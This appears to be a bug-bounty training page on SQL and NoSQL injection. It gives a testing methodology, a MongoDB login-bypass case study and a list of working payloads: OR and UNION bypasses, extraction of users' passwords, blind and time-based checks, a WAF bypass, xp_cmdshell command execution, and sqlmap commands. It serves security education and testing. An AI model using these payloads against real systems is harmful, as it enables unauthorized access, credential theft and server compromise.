SQL & NoSQL Injection
Injecting queries into databases
Quick answer
What is SQL & NoSQL Injection?
SQL/NoSQL injection lets you manipulate the queries the app sends to the database. You can extract data, bypass authentication, modify records or even execute commands on the server.
Severity
Critical
Frequency
Common
Payloads
12
Steps
6
Severity
Critical
Frequency
Common
Payloads
12
SQLi occurs when user input is concatenated directly into SQL queries without sanitization. NoSQLi applies to databases like MongoDB, where operators such as $ne, $gt, $regex can manipulate JSON queries. Both can lead to full data extraction.
Where to look
Login and registration
The username/password fields are the classic vector. Try ' OR 1=1 -- in each one.
Search and filters
search=, sort=, order=, filter= parameters that get concatenated into the query.
Numeric IDs
?id=1, ?page=1, ?category=5 — any number that goes straight into a WHERE.
Logged headers
X-Forwarded-For, Referer, User-Agent — if they're stored in the DB, they can be vectors.
JSON APIs with MongoDB
$ne, $gt, $regex operators in filter fields. Very common in Node.js + MongoDB APIs.
Methodology
Identify DB inputs
Look for fields likely to touch the database (login, search, filters, IDs).
Inject a quoting character
Send ' or " — if you get a SQL error in the response, you already know the DB type.
OR-based bypass
Try: ' OR 1=1 -- for login bypass. If it works, the app is vulnerable.
UNION-based extraction
Determine the number of columns: ' UNION SELECT null,null,null -- (add nulls until it stops erroring).
Blind detection
If there's no output: ' AND 1=1 -- vs ' AND 1=2 -- — if the responses differ, it's blind SQLi.
Time-based blind
' AND SLEEP(5) -- — if the response takes 5 seconds, it confirms blind injection.
Real-world case
NoSQL Injection in login → char-by-char password extraction
Detect NoSQL backend
The API returns MongoDB errors when special characters are sent in the login.
Authentication bypass
{"username": {"$ne": ""}, "password": {"$ne": ""}} — returns the first user (admin).
Extraction with $regex
{"username": "admin", "password": {"$regex": "^a"}} — if login succeeds, the password starts with "a".
Extraction script
Iterate character by character: ^a, ^ab, ^abc... until you recover the full password.
Lesson: MongoDB is not immune to injection. Query operators ($ne, $regex, $gt) are the NoSQL equivalent of SQLi. Always sanitize operators in JSON inputs.
Payloads
SQL — OR bypass
' OR 1=1 --
SQL — Comment bypass
admin' --
SQL — String equals
' OR '1'='1
NoSQL — Not equals
{"username": {"$ne": ""}, "password": {"$ne": ""}}NoSQL — Regex
{"username": "admin", "password": {"$regex": ".*"}}SQL — UNION basic
' UNION SELECT null,null,null --
Advanced payloads(account required)
UNION extract users
' UNION SELECT username,password FROM users --
Blind boolean
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
Time-based blind
' AND IF(1=1,SLEEP(5),0) --
WAF bypass — inline comments
/*!50000UNION*/+/*!50000SELECT*/+1,2,3
NoSQL regex extraction
{"password": {"$regex": "^a"}} → ^ab → ^abc → ...RCE via xp_cmdshell
'; EXEC xp_cmdshell('whoami') --Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
sqlmap
Automatic SQL injection detection and exploitation tool.
sqlmap -u 'https://target.com/search?q=test' --dbs --batch
NoSQLMap
Automates NoSQL injection detection and exploitation in MongoDB.
python nosqlmap.py
Burp Intruder
Manual fuzzing with SQLi wordlists to detect injections.
Positions → payload en campo vulnerable → SQLi wordlist
Tips
SQL errors are gold
If you see a MySQL/PostgreSQL error in the response, you already know the DB type and can tailor your payloads.
NoSQL is just as vulnerable
MongoDB with JSON APIs accepts operators like $ne, $gt, $regex. Try them in login fields.
Second-order SQLi
The payload is injected at registration and executes elsewhere (admin panel, exports). Very hard to detect but impactful.
sqlmap with a saved request
sqlmap -r request.txt --dbs — use a saved Burp request for higher precision.
Contenido relacionado
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice SQL & NoSQL Injection with real labs
Apply these techniques in safe environments based on real bug bounty reports.